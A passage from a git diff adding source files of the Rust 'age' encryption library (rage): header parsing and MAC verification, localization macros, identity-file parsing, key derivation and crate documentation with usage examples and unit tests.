msg = get_message(message_id); + for (name, value) in args { + msg = msg.replace(&format!("{{{}}}", name), &value.to_string()); + } + msg +} + +/// Formats an error message. +#[doc(hidden)] +#[macro_export] +macro_rules! fmt_err { + ($message:literal) => {{ + $message + }}; + + ($message:literal, $($args:expr),* $(,)?) => {{ + format!($message, $($args),*) + }}; +} diff --git a/lib/rage/age/src/format.rs b/lib/rage/age/src/format.rs new file mode 100644 index 0000000..23d86ac --- /dev/null +++ b/lib/rage/age/src/format.rs @@ -0,0 +1,442 @@ +//! The age file format. + +use std::io::{self, BufRead, Read, Write}; + +use age_core::format::{grease_the_joint, Stanza}; + +use crate::{ + error::DecryptError, + primitives::{HmacKey, HmacWriter}, + scrypt, EncryptError, +}; + +#[cfg(feature = "async")] +use futures::io::{ + AsyncBufRead, AsyncBufReadExt, AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt, +}; + +const AGE_MAGIC: &[u8] = b"age-encryption.org/"; +const V1_MAGIC: &[u8] = b"v1"; +const MAC_TAG: &[u8] = b"---"; +const ENCODED_MAC_LENGTH: usize = 43; + +#[derive(Debug, PartialEq)] +pub(crate) struct HeaderV1 { + pub(crate) recipients: Vec, + pub(crate) mac: [u8; 32], + /// The serialized bytes of this header. Set if we parsed this header from a reader, + /// to handle the possibility that the header is not round-trip canonical, such as it + /// containing a legacy stanza with a body of length 0 mod 64. + /// + /// We do not write this back out in `Header::write`, because we never write headers + /// that we have parsed, and headers we generate for writing will never have this set. + encoded_bytes: Option>, +} + +impl HeaderV1 { + pub(crate) fn new(recipients: Vec, mac_key: HmacKey) -> Result { + let mut header = HeaderV1 { + recipients, + mac: [0; 32], + encoded_bytes: None, + }; + + if header.no_scrypt() { + // Keep the joint well oiled! + header.recipients.push(grease_the_joint()); + } + + if !header.is_valid() { + return Err(EncryptError::MixedRecipientAndPassphrase); + } + + let mut mac = HmacWriter::new(mac_key); + cookie_factory::gen(write::header_v1_minus_mac(&header), &mut mac) + .expect("can serialize Header into HmacWriter"); + header + .mac + .copy_from_slice(mac.finalize().into_bytes().as_slice()); + + Ok(header) + } + + pub(crate) fn verify_mac(&self, mac_key: HmacKey) -> Result<(), hmac::digest::MacError> { + let mut mac = HmacWriter::new(mac_key); + if let Some(bytes) = &self.encoded_bytes { + // The MAC covers all bytes up to the end of the --- prefix. + mac.write_all(&bytes[..bytes.len() - ENCODED_MAC_LENGTH - 2]) + .expect("can serialize Header into HmacWriter"); + } else { + cookie_factory::gen(write::header_v1_minus_mac(self), &mut mac) + .expect("can serialize Header into HmacWriter"); + } + mac.verify(&self.mac) + } + + fn any_scrypt(&self) -> bool { + self.recipients + .iter() + .any(|r| r.tag == scrypt::SCRYPT_RECIPIENT_TAG) + } + + /// Checks whether the header contains a single recipient of type `scrypt`. + /// + /// This can be used along with [`Self::no_scrypt`] to enforce the structural + /// requirements on the v1 header. + pub(crate) fn valid_scrypt(&self) -> bool { + self.any_scrypt() && self.recipients.len() == 1 + } + + /// Checks whether the header contains no `scrypt` recipients. + /// + /// This can be used along with [`Self::valid_scrypt`] to enforce the structural + /// requirements on the v1 header. + pub(crate) fn no_scrypt(&self) -> bool { + !self.any_scrypt() + } + + /// Enforces structural requirements on the v1 header. + pub(crate) fn is_valid(&self) -> bool { + self.valid_scrypt() || self.no_scrypt() + } +} + +impl Header { + pub(crate) fn read(mut input: R) -> Result { + let mut data = vec![]; + loop { + match read::header(&data) { + Ok((_, mut header)) => { + if let Header::V1(h) = &mut header { + h.encoded_bytes = Some(data); + } + break Ok(header); + } + Err(nom::Err::Incomplete(nom::Needed::Size(n))) => { + // Read the needed additional bytes. We need to be careful how the + // parser is constructed, because if we read more than we need, the + // remainder of the input will be truncated. + let m = data.len(); + let new_len = m + n.get(); + data.resize(new_len, 0); + input.read_exact(&mut data[m..new_len])?; + } + Err(_) => { + break Err(DecryptError::InvalidHeader); + } + } + } + } + + pub(crate) fn read_buffered(mut input: R) -> Result { + let mut data = vec![]; + loop { + match read::header(&data) { + Ok((_, mut header)) => { + if let Header::V1(h) = &mut header { + h.encoded_bytes = Some(data); + } + break Ok(header); + } + Err(nom::Err::Incomplete(nom::Needed::Size(_))) => { + // As we have a buffered reader, we can leverage the fact that the + // currently-defined header formats are newline-separated, to more + // efficiently read data for the parser to consume. + if input.read_until(b'\n', &mut data)? == 0 { + break Err(DecryptError::Io(io::Error::new( + io::ErrorKind::UnexpectedEof, + "Incomplete header", + ))); + } + } + Err(_) => { + break Err(DecryptError::InvalidHeader); + } + } + } + } + + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + pub(crate) async fn read_async( + mut input: R, + ) -> Result { + let mut data = vec![]; + loop { + match read::header(&data) { + Ok((_, mut header)) => { + if let Header::V1(h) = &mut header { + h.encoded_bytes = Some(data); + } + break Ok(header); + } + Err(nom::Err::Incomplete(nom::Needed::Size(n))) => { + // Read the needed additional bytes. We need to be careful how the + // parser is constructed, because if we read more than we need, the + // remainder of the input will be truncated. + let m = data.len(); + let new_len = m + n.get(); + data.resize(new_len, 0); + input.read_exact(&mut data[m..new_len]).await?; + } + Err(_) => { + break Err(DecryptError::InvalidHeader); + } + } + } + } + + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + pub(crate) async fn read_async_buffered( + mut input: R, + ) -> Result { + let mut data = vec![]; + loop { + match read::header(&data) { + Ok((_, mut header)) => { + if let Header::V1(h) = &mut header { + h.encoded_bytes = Some(data); + } + break Ok(header); + } + Err(nom::Err::Incomplete(nom::Needed::Size(_))) => { + // As we have a buffered reader, we can leverage the fact that the + // currently-defined header formats are newline-separated, to more + // efficiently read data for the parser to consume. + if input.read_until(b'\n', &mut data).await? == 0 { + break Err(DecryptError::Io(io::Error::new( + io::ErrorKind::UnexpectedEof, + "Incomplete header", + ))); + } + } + Err(_) => { + break Err(DecryptError::InvalidHeader); + } + } + } + } + + pub(crate) fn write(&self, mut output: W) -> io::Result<()> { + cookie_factory::gen(write::header(self), &mut output) + .map(|_| ()) + .map_err(|e| { + io::Error::new( + io::ErrorKind::Other, + format!("failed to write header: {}", e), + ) + }) + } + + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + pub(crate) async fn write_async(&self, mut output: W) -> io::Result<()> { + let mut buf = vec![]; + cookie_factory::gen(write::header(self), &mut buf) + .map(|_| ()) + .map_err(|e| { + io::Error::new( + io::ErrorKind::Other, + format!("failed to write header: {}", e), + ) + })?; + + output.write_all(&buf).await + } +} + +#[derive(Debug, PartialEq)] +pub(crate) enum Header { + V1(HeaderV1), + Unknown(String), +} + +mod read { + use age_core::format::read::{arbitrary_string, legacy_age_stanza}; + use nom::{ + branch::alt, + bytes::streaming::{tag, take}, + character::streaming::newline, + combinator::{map, map_opt}, + multi::many1, + sequence::{pair, preceded, terminated}, + IResult, + }; + + use super::*; + use crate::util::read::base64_arg; + + fn header_v1(input: &[u8]) -> IResult<&[u8], HeaderV1> { + preceded( + pair(tag(V1_MAGIC), newline), + map( + pair( + many1(legacy_age_stanza), + preceded( + pair(tag(MAC_TAG), tag(b" ")), + terminated( + map_opt(take(ENCODED_MAC_LENGTH), |tag| { + base64_arg::<_, 32, 33>(&tag) + }), + newline, + ), + ), + ), + |(recipients, mac)| HeaderV1 { + recipients: recipients.into_iter().map(Stanza::from).collect(), + mac, + encoded_bytes: None, + }, + ), + )(input) + } + + /// From the age specification: + /// ```text + /// The first line of the header is age-encryption.org/ followed by an arbitrary + /// version string. ... We describe version v1, other versions can change anything + /// after the first line. + /// ``` + pub(super) fn header(input: &[u8]) -> IResult<&[u8], Header> { + preceded( + tag(AGE_MAGIC), + alt(( + map(header_v1, Header::V1), + map(terminated(arbitrary_string, newline), |s| { + Header::Unknown(s.to_string()) + }), + )), + )(input) + } +} + +mod write { + use age_core::format::write::age_stanza; + use cookie_factory::{ + combinator::{slice, string}, + multi::all, + sequence::tuple, + SerializeFn, WriteContext, + }; + use std::io::Write; + + use super::*; + use crate::util::write::encoded_data; + + fn recipient_stanza<'a, W: 'a + Write>(r: &'a Stanza) -> impl SerializeFn + 'a { + move |w: WriteContext| { + let args: Vec<_> = r.args.iter().map(|s| s.as_str()).collect(); + let writer = age_stanza(&r.tag, &args, &r.body); + writer(w) + } + } + + pub(super) fn header_v1_minus_mac<'a, W: 'a + Write>( + h: &'a HeaderV1, + ) -> impl SerializeFn + 'a { + tuple(( + slice(AGE_MAGIC), + slice(V1_MAGIC), + string("\n"), + all(h.recipients.iter().map(move |r| recipient_stanza(r))), + slice(MAC_TAG), + )) + } + + fn header_v1<'a, W: 'a + Write>(h: &'a HeaderV1) -> impl SerializeFn + 'a { + tuple(( + header_v1_minus_mac(h), + string(" "), + encoded_data(&h.mac), + string("\n"), + )) + } + + pub(super) fn header<'a, W: 'a + Write>(h: &'a Header) -> impl SerializeFn + 'a { + move |w: WriteContext| match h { + Header::V1(v1) => header_v1(v1)(w), + Header::Unknown(version) => tuple((slice(AGE_MAGIC), slice(version), string("\n")))(w), + } + } +} + +#[cfg(test)] +mod tests { + use super::Header; + + #[test] + fn parse_header() { + let test_header = "age-encryption.org/v1 +-> X25519 CJM36AHmTbdHSuOQL+NESqyVQE75f2e610iRdLPEN20 +C3ZAeY64NXS4QFrksLm3EGz+uPRyI0eQsWw7LWbbYig +-> X25519 ytazqsbmUnPwVWMVx0c1X9iUtGdY4yAB08UQTY2hNCI +N3pgrXkbIn/RrVt0T0G3sQr1wGWuclqKxTSWHSqGdkc +-> scrypt bBjlhJVYZeE4aqUdmtRHfw 15 +ZV/AhotwSGqaPCU43cepl4WYUouAa17a3xpu4G2yi5k +-> ssh-rsa mhir0Q +xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA +mgmZq7tIm5ZyY89OmqZztOgG2tEB1TZvX3Q8oXESBuFjBBQkKaMLkaqh5GjcGRrZ +e5MmTXRdEyNPRl8qpystNZR1q2rEDUHSEJInVLW8OtvQRG8P303VpjnOUU53FSBw +yXxDtzxKxeloceFubn/HWGcR0mHU+1e9l39myQEUZjIoqFIELXvh9o6RUgYzaAI+ +m/uPLMQdlIkiOOdbsrE6tFesRLZNHAYspeRKI9MJ++Xg9i7rutU34ZM+1BL6KgZf +J9FSm+GFHiVWpr1MfYCo/w +-> ssh-ed25519 BjH7FA RO+wV4kbbl4NtSmp56lQcfRdRp3dEFpdQmWkaoiw6lY +51eEu5Oo2JYAG7OU4oamH03FDRP18/GnzeCrY7Z+sa8 +-> some-empty-body-recipient BjH7FA 37 mhir0Q + +-> some-full-body-recipient BjH7FA 37 mhir0Q +xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA + +-> some-other-recipient mhir0Q BjH7FA 37 +m/uPLMQdlIkiOOdbsrE6tFesRLZNHAYspeRKI9MJ++Xg9i7rutU34ZM+1BL6KgZf +J9FSm+GFHiVWpr1MfYCo/w +--- fgMiVLJHMlg9fW7CVG/hPS5EAU4Zeg19LyCP7SoH5nA +"; + let h = Header::read(test_header.as_bytes()).unwrap(); + let mut data = vec![]; + h.write(&mut data).unwrap(); + assert_eq!(std::str::from_utf8(&data), Ok(test_header)); + } + + #[test] + fn parse_legacy_header() { + let test_header = "age-encryption.org/v1 +-> X25519 CJM36AHmTbdHSuOQL+NESqyVQE75f2e610iRdLPEN20 +C3ZAeY64NXS4QFrksLm3EGz+uPRyI0eQsWw7LWbbYig +-> some-empty-body-recipient BjH7FA 37 mhir0Q + +-> some-full-body-recipient BjH7FA 37 mhir0Q +xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA + +-> some-other-recipient mhir0Q BjH7FA 37 +m/uPLMQdlIkiOOdbsrE6tFesRLZNHAYspeRKI9MJ++Xg9i7rutU34ZM+1BL6KgZf +J9FSm+GFHiVWpr1MfYCo/w +--- fgMiVLJHMlg9fW7CVG/hPS5EAU4Zeg19LyCP7SoH5nA +"; + let test_legacy_header = "age-encryption.org/v1 +-> X25519 CJM36AHmTbdHSuOQL+NESqyVQE75f2e610iRdLPEN20 +C3ZAeY64NXS4QFrksLm3EGz+uPRyI0eQsWw7LWbbYig +-> some-empty-body-recipient BjH7FA 37 mhir0Q +-> some-full-body-recipient BjH7FA 37 mhir0Q +xD7o4VEOu1t7KZQ1gDgq2FPzBEeSRqbnqvQEXdLRYy143BxR6oFxsUUJCRB0ErXA +-> some-other-recipient mhir0Q BjH7FA 37 +m/uPLMQdlIkiOOdbsrE6tFesRLZNHAYspeRKI9MJ++Xg9i7rutU34ZM+1BL6KgZf +J9FSm+GFHiVWpr1MfYCo/w +--- fgMiVLJHMlg9fW7CVG/hPS5EAU4Zeg19LyCP7SoH5nA +"; + let mut h = Header::read(test_header.as_bytes()).unwrap(); + let mut h_legacy = Header::read(test_legacy_header.as_bytes()).unwrap(); + // Remove the `encoded_bytes` field from both headers, which is intentionally + // different (to ensure their MACs would validate, if these were real headers). + match (&mut h, &mut h_legacy) { + (Header::V1(h), Header::V1(h_legacy)) => { + h.encoded_bytes = None; + h_legacy.encoded_bytes = None; + } + _ => unreachable!(), + } + // The remainder of the headers should be identical. + assert_eq!(h, h_legacy); + } +} diff --git a/lib/rage/age/src/i18n.rs b/lib/rage/age/src/i18n.rs new file mode 100644 index 0000000..2752121 --- /dev/null +++ b/lib/rage/age/src/i18n.rs @@ -0,0 +1,106 @@ +#[cfg(feature = "i18n")] +use i18n_embed::{ + fluent::{fluent_language_loader, FluentLanguageLoader}, + unic_langid::LanguageIdentifier, + I18nEmbedError, LanguageLoader, Localizer, +}; +#[cfg(feature = "i18n")] +use lazy_static::lazy_static; +#[cfg(feature = "i18n")] +use rust_embed::RustEmbed; + +#[derive(RustEmbed)] +#[folder = "i18n"] +struct Localizations; + +lazy_static! { + pub(crate) static ref LANGUAGE_LOADER: FluentLanguageLoader = { + let language_loader = fluent_language_loader!(); + // Ensure that the fallback language is always loaded, even if the library user + // doesn't call `localizer().select(languages)`. + let fallback: LanguageIdentifier = "en-US".parse().unwrap(); + language_loader.load_languages(&Localizations, &[fallback]).unwrap(); + language_loader + }; +} + +/// Loads a localized age string. +#[doc(hidden)] +#[macro_export] +macro_rules! fl { + ($message_id:literal) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id) + }}; + + ($message_id:literal, $($args:expr),* $(,)?) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id, $($args), *) + }}; +} + +/// age-localized version of the write! macro. +#[doc(hidden)] +#[macro_export] +macro_rules! wfl { + ($f:ident, $message_id:literal) => { + write!($f, "{}", $crate::fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($args:expr),* $(,)?) => { + write!($f, "{}", $crate::fl!($message_id, $($args), *)) + }; +} + +/// age-localized version of the writeln! macro. +#[doc(hidden)] +#[macro_export] +macro_rules! wlnfl { + ($f:ident, $message_id:literal) => { + writeln!($f, "{}", $crate::fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($args:expr),* $(,)?) => { + writeln!($f, "{}", $crate::fl!($message_id, $($args), *)) + }; +} + +/// Returns the [`Localizer`] to be used for localizing this library. +/// +/// # Examples +/// +/// ``` +/// // Fetch the set of languages that the user's desktop environment requests. +/// let requested_languages = i18n_embed::DesktopLanguageRequester::requested_languages(); +/// +/// // Localize the age crate based on the requested languages. +/// // +/// // If none of the requested languages are available, or if this function +/// // is not called, age defaults to en-US. +/// age::localizer().select(&requested_languages).unwrap(); +/// ``` +pub fn localizer() -> Box { + Box::from(AgeLocalizer) +} + +struct AgeLocalizer; + +impl Localizer for AgeLocalizer { + fn language_loader(&self) -> &'_ dyn LanguageLoader { + &*LANGUAGE_LOADER + } + + fn i18n_assets(&self) -> &'_ dyn i18n_embed::I18nAssets { + &Localizations + } + + fn select( + &self, + requested_languages: &[LanguageIdentifier], + ) -> Result, I18nEmbedError> { + let supported_languages = + i18n_embed::select(&*LANGUAGE_LOADER, &Localizations, requested_languages)?; + // Unfortunately the common Windows terminals don't support Unicode Directionality + // Isolation Marks, so we disable them for now. + LANGUAGE_LOADER.set_use_isolating(false); + Ok(supported_languages) + } +} diff --git a/lib/rage/age/src/identity.rs b/lib/rage/age/src/identity.rs new file mode 100644 index 0000000..6bd19d6 --- /dev/null +++ b/lib/rage/age/src/identity.rs @@ -0,0 +1,368 @@ +use std::fs::File; +use std::io; + +use crate::{x25519, Callbacks, DecryptError, EncryptError, IdentityFileConvertError, NoCallbacks}; + +#[cfg(feature = "cli-common")] +use crate::cli_common::file_io::InputReader; + +#[cfg(feature = "plugin")] +use crate::plugin; + +/// The supported kinds of identities within an [`IdentityFile`]. +#[derive(Clone)] +enum IdentityFileEntry { + /// The standard age identity type. + Native(x25519::Identity), + /// A plugin-compatible identity. + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + Plugin(plugin::Identity), +} + +impl IdentityFileEntry { + #[allow(unused_variables)] + pub(crate) fn into_identity( + self, + callbacks: impl Callbacks, + ) -> Result, DecryptError> { + match self { + IdentityFileEntry::Native(i) => Ok(Box::new(i)), + #[cfg(feature = "plugin")] + IdentityFileEntry::Plugin(i) => Ok(Box::new( + crate::plugin::Plugin::new(i.plugin()) + .map_err(|binary_name| DecryptError::MissingPlugin { binary_name }) + .map(|plugin| { + crate::plugin::IdentityPluginV1::from_parts(plugin, vec![i], callbacks) + })?, + )), + } + } +} + +/// A list of identities that has been parsed from some input file. +pub struct IdentityFile { + filename: Option, + identities: Vec, + pub(crate) callbacks: C, +} + +impl IdentityFile { + /// Parses one or more identities from a file containing valid UTF-8. + pub fn from_file(filename: String) -> io::Result { + File::open(&filename) + .map(io::BufReader::new) + .and_then(|data| IdentityFile::parse_identities(Some(filename), data)) + } + + /// Parses one or more identities from a buffered input containing valid UTF-8. + pub fn from_buffer(data: R) -> io::Result { + Self::parse_identities(None, data) + } + + /// Parses one or more identities from an [`InputReader`]; + #[cfg(feature = "cli-common")] + pub fn from_input_reader(reader: InputReader) -> io::Result { + let filename = reader.filename().map(String::from); + Self::parse_identities(filename, io::BufReader::new(reader)) + } + + fn parse_identities(filename: Option, data: R) -> io::Result { + let mut identities = vec![]; + + for (line_number, line) in data.lines().enumerate() { + let line = line?; + if line.is_empty() || line.starts_with('#') { + continue; + } + + if let Ok(identity) = line.parse::() { + identities.push(IdentityFileEntry::Native(identity)); + } else if let Some(identity) = { + #[cfg(feature = "plugin")] + { + line.parse::().ok() + } + + #[cfg(not(feature = "plugin"))] + None + } { + #[cfg(feature = "plugin")] + { + identities.push(IdentityFileEntry::Plugin(identity)); + } + + // Add a binding to provide a type when plugins are disabled. + #[cfg(not(feature = "plugin"))] + let _: () = identity; + } else { + // Return a line number in place of the line, so we don't leak the file + // contents in error messages. + return Err(io::Error::new( + io::ErrorKind::InvalidData, + if let Some(filename) = filename { + format!( + "identity file {} contains non-identity data on line {}", + filename, + line_number + 1 + ) + } else { + format!( + "identity file contains non-identity data on line {}", + line_number + 1 + ) + }, + )); + } + } + + Ok(IdentityFile { + filename, + identities, + callbacks: NoCallbacks, + }) + } +} + +impl IdentityFile { + /// Sets the provided callbacks on this identity file, so that if this is an encrypted + /// identity, it can potentially be decrypted. + pub fn with_callbacks(self, callbacks: D) -> IdentityFile { + IdentityFile { + filename: self.filename, + identities: self.identities, + callbacks, + } + } + + /// Writes a recipients file containing the recipients corresponding to the identities + /// in this file. + /// + /// Returns an error if this file is empty, or if it contains plugin identities (which + /// can only be converted by the plugin binary itself). + pub fn write_recipients_file( + &self, + mut output: W, + ) -> Result<(), IdentityFileConvertError> { + if self.identities.is_empty() { + return Err(IdentityFileConvertError::NoIdentities { + filename: self.filename.clone(), + }); + } + + for identity in &self.identities { + match identity { + IdentityFileEntry::Native(sk) => writeln!(output, "{}", sk.to_public()) + .map_err(IdentityFileConvertError::FailedToWriteOutput)?, + #[cfg(feature = "plugin")] + IdentityFileEntry::Plugin(id) => { + return Err(IdentityFileConvertError::IdentityFileContainsPlugin { + filename: self.filename.clone(), + plugin_name: id.plugin().to_string(), + }); + } + } + } + + Ok(()) + } + + /// Returns recipients for the identities in this file. + /// + /// Plugin identities will be merged into one [`Recipient`] per unique plugin. + /// + /// [`Recipient`]: crate::Recipient + pub fn to_recipients(&self) -> Result>, EncryptError> { + let mut recipients = RecipientsAccumulator::new(); + recipients.with_identities_ref(self); + recipients.build( + #[cfg(feature = "plugin")] + self.callbacks.clone(), + ) + } + + /// Returns the identities in this file. + pub(crate) fn to_identities( + &self, + ) -> impl Iterator, DecryptError>> + '_ { + self.identities + .iter() + .map(|entry| entry.clone().into_identity(self.callbacks.clone())) + } + + /// Returns the identities in this file. + pub fn into_identities(self) -> Result>, DecryptError> { + self.identities + .into_iter() + .map(|entry| entry.into_identity(self.callbacks.clone())) + .collect() + } +} + +pub(crate) struct RecipientsAccumulator { + recipients: Vec>, + #[cfg(feature = "plugin")] + plugin_recipients: Vec, + #[cfg(feature = "plugin")] + plugin_identities: Vec, +} + +impl RecipientsAccumulator { + pub(crate) fn new() -> Self { + Self { + recipients: vec![], + #[cfg(feature = "plugin")] + plugin_recipients: vec![], + #[cfg(feature = "plugin")] + plugin_identities: vec![], + } + } + + #[cfg(feature = "cli-common")] + pub(crate) fn push(&mut self, recipient: Box) { + self.recipients.push(recipient); + } + + #[cfg(feature = "plugin")] + pub(crate) fn push_plugin(&mut self, recipient: plugin::Recipient) { + self.plugin_recipients.push(recipient); + } + + #[cfg(feature = "armor")] + pub(crate) fn extend( + &mut self, + iter: impl IntoIterator>, + ) { + self.recipients.extend(iter); + } + + #[cfg(feature = "cli-common")] + pub(crate) fn with_identities(&mut self, identity_file: IdentityFile) { + for entry in identity_file.identities { + match entry { + IdentityFileEntry::Native(i) => self.recipients.push(Box::new(i.to_public())), + #[cfg(feature = "plugin")] + IdentityFileEntry::Plugin(i) => self.plugin_identities.push(i), + } + } + } + + pub(crate) fn with_identities_ref(&mut self, identity_file: &IdentityFile) { + for entry in &identity_file.identities { + match entry { + IdentityFileEntry::Native(i) => self.recipients.push(Box::new(i.to_public())), + #[cfg(feature = "plugin")] + IdentityFileEntry::Plugin(i) => self.plugin_identities.push(i.clone()), + } + } + } + + #[cfg_attr(not(feature = "plugin"), allow(unused_mut))] + pub(crate) fn build( + mut self, + #[cfg(feature = "plugin")] callbacks: impl Callbacks, + ) -> Result>, EncryptError> { + #[cfg(feature = "plugin")] + { + // Collect the names of the required plugins. + let mut plugin_names = self + .plugin_recipients + .iter() + .map(|r| r.plugin()) + .chain(self.plugin_identities.iter().map(|i| i.plugin())) + .collect::>(); + plugin_names.sort_unstable(); + plugin_names.dedup(); + + // Find the required plugins. + for plugin_name in plugin_names { + self.recipients + .push(Box::new(plugin::RecipientPluginV1::new( + plugin_name, + &self.plugin_recipients, + &self.plugin_identities, + callbacks.clone(), + )?)) + } + } + + Ok(self.recipients) + } +} + +#[cfg(test)] +pub(crate) mod tests { + use age_core::secrecy::ExposeSecret; + use std::io::BufReader; + + use super::{IdentityFile, IdentityFileEntry}; + + pub(crate) const TEST_SK: &str = + "AGE-SECRET-KEY-1GQ9778VQXMMJVE8SK7J6VT8UJ4HDQAJUVSFCWCM02D8GEWQ72PVQ2Y5J33"; + + fn valid_secret_key_encoding(keydata: &str, num_keys: usize) { + let buf = BufReader::new(keydata.as_bytes()); + let f = IdentityFile::from_buffer(buf).unwrap(); + assert_eq!(f.identities.len(), num_keys); + match &f.identities[0] { + IdentityFileEntry::Native(identity) => { + assert_eq!(identity.to_string().expose_secret(), TEST_SK) + } + #[cfg(feature = "plugin")] + IdentityFileEntry::Plugin(_) => panic!(), + } + } + + #[test] + fn secret_key_encoding() { + valid_secret_key_encoding(TEST_SK, 1); + } + + #[test] + fn secret_key_lf() { + valid_secret_key_encoding(&format!("{}\n", TEST_SK), 1); + } + + #[test] + fn two_secret_keys_lf() { + valid_secret_key_encoding(&format!("{}\n{}", TEST_SK, TEST_SK), 2); + } + + #[test] + fn secret_key_with_comment_lf() { + valid_secret_key_encoding(&format!("# Foo bar baz\n{}", TEST_SK), 1); + valid_secret_key_encoding(&format!("{}\n# Foo bar baz", TEST_SK), 1); + } + + #[test] + fn secret_key_with_empty_line_lf() { + valid_secret_key_encoding(&format!("\n\n{}", TEST_SK), 1); + } + + #[test] + fn secret_key_crlf() { + valid_secret_key_encoding(&format!("{}\r\n", TEST_SK), 1); + } + + #[test] + fn two_secret_keys_crlf() { + valid_secret_key_encoding(&format!("{}\r\n{}", TEST_SK, TEST_SK), 2); + } + + #[test] + fn secret_key_with_comment_crlf() { + valid_secret_key_encoding(&format!("# Foo bar baz\r\n{}", TEST_SK), 1); + valid_secret_key_encoding(&format!("{}\r\n# Foo bar baz", TEST_SK), 1); + } + + #[test] + fn secret_key_with_empty_line_crlf() { + valid_secret_key_encoding(&format!("\r\n\r\n{}", TEST_SK), 1); + } + + #[test] + fn incomplete_secret_key_encoding() { + let buf = BufReader::new(&TEST_SK.as_bytes()[..4]); + assert!(IdentityFile::from_buffer(buf).is_err()); + } +} diff --git a/lib/rage/age/src/keys.rs b/lib/rage/age/src/keys.rs new file mode 100644 index 0000000..06b6bd5 --- /dev/null +++ b/lib/rage/age/src/keys.rs @@ -0,0 +1,44 @@ +//! Key structs and serialization. + +use age_core::{ + format::FileKey, + primitives::hkdf, + secrecy::{ExposeSecret, SecretBox}, +}; +use rand::{rngs::OsRng, RngCore}; + +use crate::{ + error::DecryptError, + format::HeaderV1, + primitives::{stream::PayloadKey, HmacKey}, + protocol::Nonce, +}; + +const HEADER_KEY_LABEL: &[u8] = b"header"; +const PAYLOAD_KEY_LABEL: &[u8] = b"payload"; + +pub(crate) fn new_file_key() -> FileKey { + FileKey::init_with_mut(|file_key| OsRng.fill_bytes(file_key)) +} + +pub(crate) fn mac_key(file_key: &FileKey) -> HmacKey { + HmacKey(SecretBox::new(Box::new(hkdf( + &[], + HEADER_KEY_LABEL, + file_key.expose_secret(), + )))) +} + +pub(crate) fn v1_payload_key( + file_key: &FileKey, + header: &HeaderV1, + nonce: &Nonce, +) -> Result { + // Verify the MAC + header.verify_mac(mac_key(file_key))?; + + // Return the payload key + Ok(PayloadKey( + hkdf(nonce.as_ref(), PAYLOAD_KEY_LABEL, file_key.expose_secret()).into(), + )) +} diff --git a/lib/rage/age/src/lib.rs b/lib/rage/age/src/lib.rs new file mode 100644 index 0000000..2f199e7 --- /dev/null +++ b/lib/rage/age/src/lib.rs @@ -0,0 +1,455 @@ +//! *Library for encrypting and decrypting age files* +//! +//! This crate implements file encryption according to the [age-encryption.org/v1] +//! specification. It generates and consumes encrypted files that are compatible with the +//! [rage] CLI tool, as well as the reference [Go] implementation. +//! +//! The encryption and decryption APIs are provided by [`Encryptor`] and [`Decryptor`]. +//! There are several ways to use these: +//! - For most cases (including programmatic usage), use [`Encryptor::with_recipients`] +//! with [`x25519::Recipient`], and [`Decryptor`] with [`x25519::Identity`]. +//! - For passphrase-based encryption and decryption, use [`scrypt::Recipient`] and +//! [`scrypt::Identity`], or the helper method [`Encryptor::with_user_passphrase`]. +//! These should only be used with passphrases that were provided by (or generated for) +//! a human. +//! - For compatibility with existing SSH keys, enable the `ssh` feature flag, and use +//! [`ssh::Recipient`] and [`ssh::Identity`]. +//! +//! Age-encrypted files are binary and non-malleable. To encode them as text, use the +//! wrapping readers and writers in the [`armor`] module, behind the `armor` feature flag. +//! +//! *Caution*: all crate versions prior to 1.0 are beta releases for **testing purposes +//! only**. +//! +//! [age-encryption.org/v1]: https://age-encryption.org/v1 +//! [rage]: https://crates.io/crates/rage +//! [Go]: https://filippo.io/age +//! +//! # Examples +//! +//! ## Streamlined APIs +//! +//! These are useful when you only need to encrypt to a single recipient, and the data is +//! small enough to fit in memory. +//! +//! ### Recipient-based encryption +//! +//! ``` +//! # fn run_main() -> Result<(), ()> { +//! let key = age::x25519::Identity::generate(); +//! let pubkey = key.to_public(); +//! +//! let plaintext = b"Hello world!"; +//! +//! # fn encrypt(pubkey: age::x25519::Recipient, plaintext: &[u8]) -> Result, age::EncryptError> { +//! let encrypted = age::encrypt(&pubkey, plaintext)?; +//! # Ok(encrypted) +//! # } +//! # fn decrypt(key: age::x25519::Identity, encrypted: Vec) -> Result, age::DecryptError> { +//! let decrypted = age::decrypt(&key, &encrypted)?; +//! # Ok(decrypted) +//! # } +//! # let decrypted = decrypt( +//! # key, +//! # encrypt(pubkey, &plaintext[..]).map_err(|_| ())? +//! # ).map_err(|_| ())?; +//! +//! assert_eq!(decrypted, plaintext); +//! # Ok(()) +//! # } +//! # run_main().unwrap(); +//! ``` +//! +//! ## Passphrase-based encryption +//! +//! ``` +//! use age::secrecy::SecretString; +//! +//! # fn run_main() -> Result<(), ()> { +//! let passphrase = SecretString::from("this is not a good passphrase".to_owned()); +//! let recipient = age::scrypt::Recipient::new(passphrase.clone()); +//! let identity = age::scrypt::Identity::new(passphrase); +//! +//! let plaintext = b"Hello world!"; +//! +//! # fn encrypt(recipient: age::scrypt::Recipient, plaintext: &[u8]) -> Result, age::EncryptError> { +//! let encrypted = age::encrypt(&recipient, plaintext)?; +//! # Ok(encrypted) +//! # } +//! # fn decrypt(identity: age::scrypt::Identity, encrypted: Vec) -> Result, age::DecryptError> { +//! let decrypted = age::decrypt(&identity, &encrypted)?; +//! # Ok(decrypted) +//! # } +//! # let decrypted = decrypt( +//! # identity, +//! # encrypt(recipient, &plaintext[..]).map_err(|_| ())? +//! # ).map_err(|_| ())?; +//! +//! assert_eq!(decrypted, plaintext); +//! # Ok(()) +//! # } +//! # 